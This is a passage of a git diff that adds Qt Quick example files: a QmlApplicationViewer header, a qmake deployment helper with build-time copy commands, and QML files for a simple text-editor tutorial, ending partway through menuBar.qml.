+class QmlApplicationViewer : public QDeclarativeView
+{
+ Q_OBJECT
+
+public:
+ enum ScreenOrientation {
+ ScreenOrientationLockPortrait,
+ ScreenOrientationLockLandscape,
+ ScreenOrientationAuto
+ };
+
+ explicit QmlApplicationViewer(QWidget *parent = 0);
+ virtual ~QmlApplicationViewer();
+
+ static QmlApplicationViewer *create();
+
+ void setMainQmlFile(const QString &file);
+ void addImportPath(const QString &path);
+
+ // Note that this will only have an effect on Symbian and Fremantle.
+ void setOrientation(ScreenOrientation orientation);
+
+ void showExpanded();
+
+private:
+ explicit QmlApplicationViewer(QDeclarativeView *view, QWidget *parent);
+ class QmlApplicationViewerPrivate *d;
+};
+
+QApplication *createApplication(int &argc, char **argv);
+
+#endif // QMLAPPLICATIONVIEWER_H
diff --git a/examples/helper/qmlapplicationviewer/qmlapplicationviewer.pri b/examples/helper/qmlapplicationviewer/qmlapplicationviewer.pri
new file mode 100644
index 00000000..6809b644
--- /dev/null
+++ b/examples/helper/qmlapplicationviewer/qmlapplicationviewer.pri
@@ -0,0 +1,156 @@
+# This file was generated by the Qt Quick Application wizard of Qt Creator.
+# The code below adds the QmlApplicationViewer to the project and handles the
+# activation of QML debugging.
+# It is recommended not to modify this file, since newer versions of Qt Creator
+# may offer an updated version of it.
+
+QT += declarative
+
+SOURCES += $$PWD/qmlapplicationviewer.cpp
+HEADERS += $$PWD/qmlapplicationviewer.h
+INCLUDEPATH += $$PWD
+
+# Include JS debugger library if QMLJSDEBUGGER_PATH is set
+!isEmpty(QMLJSDEBUGGER_PATH) {
+ include($$QMLJSDEBUGGER_PATH/qmljsdebugger-lib.pri)
+} else {
+ DEFINES -= QMLJSDEBUGGER
+}
+
+contains(CONFIG,qdeclarative-boostable):contains(MEEGO_EDITION,harmattan) {
+ DEFINES += HARMATTAN_BOOSTER
+}
+# This file was generated by an application wizard of Qt Creator.
+# The code below handles deployment to Symbian and Maemo, aswell as copying
+# of the application data to shadow build directories on desktop.
+# It is recommended not to modify this file, since newer versions of Qt Creator
+# may offer an updated version of it.
+
+defineTest(qtcAddDeployment) {
+for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ item = item$${deploymentfolder}
+ itemsources = $${item}.sources
+ $$itemsources = $$eval($${deploymentfolder}.source)
+ itempath = $${item}.path
+ $$itempath= $$eval($${deploymentfolder}.target)
+ export($$itemsources)
+ export($$itempath)
+ DEPLOYMENT += $$item
+}
+
+MAINPROFILEPWD = $$_PRO_FILE_PWD_
+
+symbian {
+ isEmpty(ICON):exists($${TARGET}.svg):ICON = $${TARGET}.svg
+ isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
+} else:win32 {
+ copyCommand =
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ source = $$MAINPROFILEPWD/$$eval($${deploymentfolder}.source)
+ source = $$replace(source, /, \\)
+ sourcePathSegments = $$split(source, \\)
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)/$$last(sourcePathSegments)
+ target = $$replace(target, /, \\)
+ target ~= s,\\\\\\.?\\\\,\\,
+ !isEqual(source,$$target) {
+ !isEmpty(copyCommand):copyCommand += &&
+ isEqual(QMAKE_DIR_SEP, \\) {
+ copyCommand += $(COPY_DIR) \"$$source\" \"$$target\"
+ } else {
+ source = $$replace(source, \\\\, /)
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)
+ target = $$replace(target, \\\\, /)
+ copyCommand += test -d \"$$target\" || mkdir -p \"$$target\" && cp -r \"$$source\" \"$$target\"
+ }
+ }
+ }
+ !isEmpty(copyCommand) {
+ copyCommand = @echo Copying application data... && $$copyCommand
+ copydeploymentfolders.commands = $$copyCommand
+ first.depends = $(first) copydeploymentfolders
+ export(first.depends)
+ export(copydeploymentfolders.commands)
+ QMAKE_EXTRA_TARGETS += first copydeploymentfolders
+ }
+} else:unix {
+ maemo5 {
+ installPrefix = /opt/$${TARGET}
+ target.path = $${installPrefix}/bin
+ desktopfile.files = $${TARGET}.desktop
+ desktopfile.path = /usr/share/applications/hildon
+ icon.files = $${TARGET}64.png
+ icon.path = /usr/share/icons/hicolor/64x64/apps
+ } else:!isEmpty(MEEGO_VERSION_MAJOR) {
+ installPrefix = /opt/$${TARGET}
+ target.path = $${installPrefix}/bin
+ desktopfile.files = $${TARGET}_harmattan.desktop
+ desktopfile.path = /usr/share/applications
+ icon.files = $${TARGET}80.png
+ icon.path = /usr/share/icons/hicolor/80x80/apps
+ } else { # Assumed to be a Desktop Unix
+ installPrefix = $$desktopInstallPrefix
+ target.path = $${installPrefix}
+ sources.files = *.cpp *.h *.desktop *.png *.pro *.qml *.qmlproject *.svg
+ sources.path = $$desktopInstallPrefix
+ export(sources.files)
+ export(sources.path)
+ INSTALLS += sources
+ copyCommand =
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ source = $$MAINPROFILEPWD/$$eval($${deploymentfolder}.source)
+ source = $$replace(source, \\\\, /)
+ macx {
+ target = $$OUT_PWD/$${TARGET}.app/Contents/Resources/$$eval($${deploymentfolder}.target)
+ } else {
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)
+ }
+ target = $$replace(target, \\\\, /)
+ sourcePathSegments = $$split(source, /)
+ targetFullPath = $$target/$$last(sourcePathSegments)
+ targetFullPath ~= s,/\\.?/,/,
+ !isEqual(source,$$targetFullPath) {
+ !isEmpty(copyCommand):copyCommand += &&
+ copyCommand += $(MKDIR) \"$$target\"
+ copyCommand += && $(COPY_DIR) \"$$source\" \"$$target\"
+ }
+ }
+ !isEmpty(copyCommand) {
+ copyCommand = @echo Copying application data... && $$copyCommand
+ copydeploymentfolders.commands = $$copyCommand
+ first.depends = $(first) copydeploymentfolders
+ export(first.depends)
+ export(copydeploymentfolders.commands)
+ QMAKE_EXTRA_TARGETS += first copydeploymentfolders
+ }
+ }
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ item = item$${deploymentfolder}
+ itemfiles = $${item}.files
+ $$itemfiles = $$eval($${deploymentfolder}.source)
+ itempath = $${item}.path
+ $$itempath = $${installPrefix}/$$eval($${deploymentfolder}.target)
+ export($$itemfiles)
+ export($$itempath)
+ INSTALLS += $$item
+ }
+
+ !isEmpty(desktopfile.path) {
+ export(icon.files)
+ export(icon.path)
+ export(desktopfile.files)
+ export(desktopfile.path)
+ INSTALLS += icon desktopfile
+ }
+
+ export(target.path)
+ INSTALLS += target
+}
+
+export (ICON)
+export (INSTALLS)
+export (DEPLOYMENT)
+export (TARGET.EPOCHEAPSIZE)
+export (TARGET.CAPABILITY)
+export (LIBS)
+export (QMAKE_EXTRA_TARGETS)
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/core/button.qml b/examples/tutorials/gettingStarted/gsQml/core/button.qml
new file mode 100644
index 00000000..e35338ac
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/core/button.qml
@@ -0,0 +1,108 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+import QtQuick 1.0
+
+Rectangle {
+ //identifier of the item
+ id: button
+
+ //these properties act as constants, useable outside this QML file
+ property int buttonHeight: 75
+ property int buttonWidth: 150
+
+ //attaches to the Text element's text content
+ property string label
+ property color textColor: buttonLabel.color
+
+ //the color highlight when the mouse hovers on the rectangle
+ property color onHoverColor: "lightsteelblue"
+ property color borderColor: "transparent"
+
+ //buttonColor is set to the button's main color
+ property color buttonColor: "lightblue"
+
+ property real labelSize: 14
+
+ //set appearance properties
+ radius: 6
+ smooth: true
+ border { width: 2; color: borderColor }
+ width: buttonWidth; height: buttonHeight
+
+ Text {
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: label //bind the text to the parent's text
+ color: "#DCDCCC"
+ font.pointSize: labelSize
+ }
+
+ //buttonClick() is callable and a signal handler, onButtonClick is automatically created
+ signal buttonClick()
+
+ //define the clickable area to be the whole rectangle
+ MouseArea {
+ id: buttonMouseArea
+ anchors.fill: parent //stretch the area to the parent's dimension
+ onClicked: buttonClick()
+
+ //if true, then onEntered and onExited called if mouse hovers in the mouse area
+ //if false, a button must be clicked to detect the mouse hover
+ hoverEnabled: true
+
+ //display a border if the mouse hovers on the button mouse area
+ onEntered: parent.border.color = onHoverColor
+ //remove the border if the mouse exits the button mouse area
+ onExited: parent.border.color = borderColor
+ }
+
+ //change the color of the button when pressed
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+ //animate the color whenever the color property changes
+ Behavior on color { ColorAnimation{ duration: 55 } }
+
+ //scale the button when pressed
+ scale: buttonMouseArea.pressed ? 1.1 : 1.00
+ //Animate the scale property change
+ Behavior on scale { NumberAnimation{ duration: 55 } }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/core/editMenu.qml b/examples/tutorials/gettingStarted/gsQml/core/editMenu.qml
new file mode 100644
index 00000000..3e603d02
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/core/editMenu.qml
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+import QtQuick 1.0
+
+Rectangle {
+ id: editMenu
+ height: 480; width:1000
+ color: "powderblue"
+ property color buttonBorderColor: "#7A8182"
+ property color buttonFillColor: "#61BDCACD"
+ property string menuName:"Edit"
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#6A7570" }
+ GradientStop { position: 1.0; color: Qt.darker("#6A7570") }
+ }
+
+ Rectangle {
+ id:actionContainer
+ color:"transparent"
+ anchors.centerIn: parent
+ width: parent.width; height: parent.height / 5
+ Row {
+ anchors.centerIn: parent
+ spacing: parent.width/9
+ Button {
+ id: loadButton
+ buttonColor: buttonFillColor
+ label: "Copy"
+ labelSize: 16
+ borderColor: buttonBorderColor
+ height: actionContainer.height; width: actionContainer.width/6
+ onButtonClick: textArea.copy()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ Button {
+ id: saveButton
+ height: actionContainer.height; width: actionContainer.width/6
+ buttonColor: buttonFillColor
+ label: "Paste"
+ borderColor: buttonBorderColor
+ labelSize: 16
+ onButtonClick: textArea.paste()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ Button {
+ id: exitButton
+ label: "Select All"
+ height: actionContainer.height; width: actionContainer.width/6
+ labelSize: 16
+ buttonColor: buttonFillColor
+ borderColor:buttonBorderColor
+ onButtonClick: textArea.selectAll()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/core/fileDialog.qml b/examples/tutorials/gettingStarted/gsQml/core/fileDialog.qml
new file mode 100644
index 00000000..8a8c4b6f
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/core/fileDialog.qml
@@ -0,0 +1,163 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id:dialog
+ height: 200 * partition; width: 200
+ color: "transparent"
+
+ signal selectChanged()
+ signal notifyRefresh()
+ onNotifyRefresh:dirView.model = directory.files
+
+ property string selectedFile
+ property int selectedIndex: 0
+
+ Rectangle {
+ id: dirBox
+ radius: 10
+ anchors.centerIn:parent
+ height: parent.height -15; width: parent.width -30
+
+ Rectangle {
+ id:header
+ height: parent.height*0.1; width: parent.width
+ radius:3
+ z:1
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.98;color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#0e1B20" }
+ }
+ Text {
+ height: header.height; anchors.centerIn: header
+ text: "files:"
+ color: "lightblue"
+ font.weight: Font.Light
+ font.italic: true
+ }
+ }
+ GridView {
+ id:dirView
+ width:parent.width; height:parent.height*.9
+ anchors.top: header.bottom
+ cellWidth: 100; cellHeight: 75
+ model: directory.files
+ delegate: dirDelegate
+ clip: true
+ highlightMoveDuration: 40
+ }
+ Component {
+ id: dirDelegate
+ Rectangle {
+ id:file
+ color: "transparent"
+ width: GridView.view.cellWidth; height: GridView.view.cellHeight
+
+ Text {
+ id:fileName
+ width: parent.width
+ anchors.centerIn: parent
+ text: name
+ color: "#BDCACD"
+ font.weight: GridView.view.currentIndex == index ? Font.DemiBold : Font.Normal
+ font.pointSize: GridView.view.currentIndex == index ? 12 : 10
+ elide: Text.ElideMiddle
+ horizontalAlignment: Text.AlignHCenter
+ }
+ Rectangle {
+ id: selection
+ width: parent.width; height: parent.height
+ anchors.centerIn: parent
+ radius: 10
+ smooth: true
+ scale: GridView.view.currentIndex == index ? 1 : 0.5
+ opacity: GridView.view.currentIndex == index ? 1 : 0
+ Text {
+ id: overlay
+ width: parent.width
+ anchors.centerIn: parent
+ text: name
+ color: "#696167"
+ font.weight: Font.DemiBold
+ font.pointSize: 12
+ smooth: true
+ elide: Text.ElideMiddle
+ horizontalAlignment: Text.AlignHCenter
+ }
+ Behavior on opacity { NumberAnimation{ duration: 45 } }
+ Behavior on scale { NumberAnimation{ duration: 45 } }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter("lightsteelblue",1.25) }
+ GradientStop { position: 0.67; color: Qt.darker("lightsteelblue",1.3) }
+ }
+ border.color: "lightsteelblue"
+ border.width: 1
+ }
+ MouseArea {
+ id:fileMouseArea
+ anchors.fill:parent
+ hoverEnabled: true
+
+ onClicked: {
+ GridView.view.currentIndex = index
+ selectedFile = directory.files[index].name
+ selectChanged()
+ }
+ onEntered: {
+ fileName.color = "lightsteelblue"
+ fileName.font.weight = Font.DemiBold
+ }
+ onExited: {
+ fileName.font.weight = Font.Normal
+ fileName.color = "#BDCACD"
+ }
+ }
+ }
+ }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#A5333333" }
+ GradientStop { position: 1.0; color: "#03333333" }
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/core/fileMenu.qml b/examples/tutorials/gettingStarted/gsQml/core/fileMenu.qml
new file mode 100644
index 00000000..8a92bbe0
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/core/fileMenu.qml
@@ -0,0 +1,232 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: fileMenu
+ height: 480; width:1000
+ property color buttonBorderColor: "#7F8487"
+ property color buttonFillColor: "#8FBDCACD"
+ property string fileContent:directory.fileContent
+
+ //the menuName is accessible from outside this QML file
+ property string menuName: "File"
+
+ //used to divide the screen into parts.
+ property real partition: 1/3
+
+ color: "#6C646A"
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#6C646A" }
+ GradientStop { position: 1.0; color: Qt.darker("#6A6D6A") }
+ }
+
+ Directory {
+ id:directory
+ filename: textInput.text
+ onDirectoryChanged:fileDialog.notifyRefresh()
+ }
+
+ Rectangle {
+ id:actionContainer
+
+ //make this rectangle invisible
+ color:"transparent"
+ anchors.left: parent.left
+
+ //the height is a good proportion that creates more space at the top of
+ //the column of buttons
+ width: fileMenu.width * partition; height: fileMenu.height
+
+ Column {
+ anchors.centerIn: parent
+ spacing: parent.height/32
+ Button {
+ id: saveButton
+ label: "Save"
+ borderColor: buttonBorderColor
+ buttonColor: buttonFillColor
+ width: actionContainer.width/ 1.3
+ height:actionContainer.height / 8
+ labelSize:24
+ onButtonClick: {
+ directory.fileContent = textArea.textContent
+ directory.filename = textInput.text
+ directory.saveFile()
+ }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ Button {
+ id: loadButton
+ width: actionContainer.width/ 1.3
+ height:actionContainer.height/ 8
+ buttonColor: buttonFillColor
+ borderColor: buttonBorderColor
+ label: "Load"
+ labelSize:24
+ onButtonClick:{
+ directory.filename = textInput.text
+ directory.loadFile()
+ textArea.textContent = directory.fileContent
+ }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ Button {
+ id: newButton
+ width: actionContainer.width/ 1.3
+ height: actionContainer.height/ 8
+ buttonColor: buttonFillColor
+ borderColor: buttonBorderColor
+ label: "New"
+ labelSize: 24
+ onButtonClick:{
+ textArea.textContent = ""
+ textInput.text = ""
+ }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+
+ }
+ Rectangle {
+ id: space
+ width: actionContainer.width/ 1.3
+ height: actionContainer.height / 16
+ color: "transparent"
+ }
+ Button {
+ id: exitButton
+ width: actionContainer.width/ 1.3
+ height: actionContainer.height/ 8
+ label: "Exit"
+ labelSize: 24
+ buttonColor: buttonFillColor
+ borderColor: buttonBorderColor
+ onButtonClick: Qt.quit()
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: Qt.lighter(buttonFillColor,1.25) }
+ GradientStop { position: 0.67; color: Qt.darker(buttonFillColor,1.3) }
+ }
+ }
+ }
+ }
+ Rectangle {
+ id:dialogContainer
+
+ width: 2*fileMenu.width * partition; height: fileMenu.height
+ anchors.right:parent.right
+ color: "transparent"
+
+ Column {
+ anchors.centerIn: parent
+ spacing: parent.height /640
+ FileDialog {
+ id:fileDialog
+ height: 2*dialogContainer.height * partition
+ width: dialogContainer.width
+ onSelectChanged: textInput.text = selectedFile
+ }
+
+ Rectangle {
+ id:lowerPartition
+ height: dialogContainer.height * partition; width: dialogContainer.width
+ color: "transparent"
+
+ Rectangle {
+ id: nameField
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#806F6F6F" }
+ GradientStop { position: 1.0; color: "#136F6F6F" }
+ }
+ radius: 10
+ anchors { centerIn:parent; leftMargin: 15; rightMargin: 15; topMargin: 15 }
+ height: parent.height-15
+ width: parent.width -20
+ border { color: "#4A4A4A"; width:1 }
+
+ TextInput {
+ id: textInput
+ z:2
+ anchors { bottom: parent.bottom; topMargin: 10; horizontalCenter: parent.horizontalCenter }
+ width: parent.width - 10
+ height: parent.height -10
+ font.pointSize: 40
+ color: "lightsteelblue"
+ focus: true
+ }
+ Text {
+ id: textInstruction
+ anchors.centerIn: parent
+ text: "Select file name and press save or load"
+ font {pointSize: 11; weight: Font.Light; italic: true}
+ color: "lightblue"
+ z: 2
+ opacity: (textInput.text == "") ? 1 : 0
+ }
+ Text {
+ id:fieldLabel
+ anchors { top: parent.top; left: parent.left }
+ text: " file name: "
+ font { pointSize: 11; weight: Font.Light; italic: true }
+ color: "lightblue"
+ z:2
+ }
+ MouseArea {
+ anchors.centerIn:parent
+ width: nameField.width; height: nameField.height
+ onClicked: {
+ textInput.text = ""
+ textInput.focus = true
+ textInput.forceFocus()
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/core/menuBar.qml b/examples/tutorials/gettingStarted/gsQml/core/menuBar.qml
new file mode 100644
index 00000000..85a61ce4
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/core/menuBar.qml
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: menuBar
+ width: 1000; height:300
+ color:"transparent"
+ property color fileColor: "plum"
+ property color editColor: "powderblue"
+
+ property real partition: 1/10
+
+ Column {
+ anchors.fill: parent
+ //container for the header and the buttons
+ z: 1
+ Rectangle {
+ id: labelList
+ height:menuBar.height*partition
+ width: menuBar.width
+ color: "beige"
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.98;color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#0e1B20" }
+ }
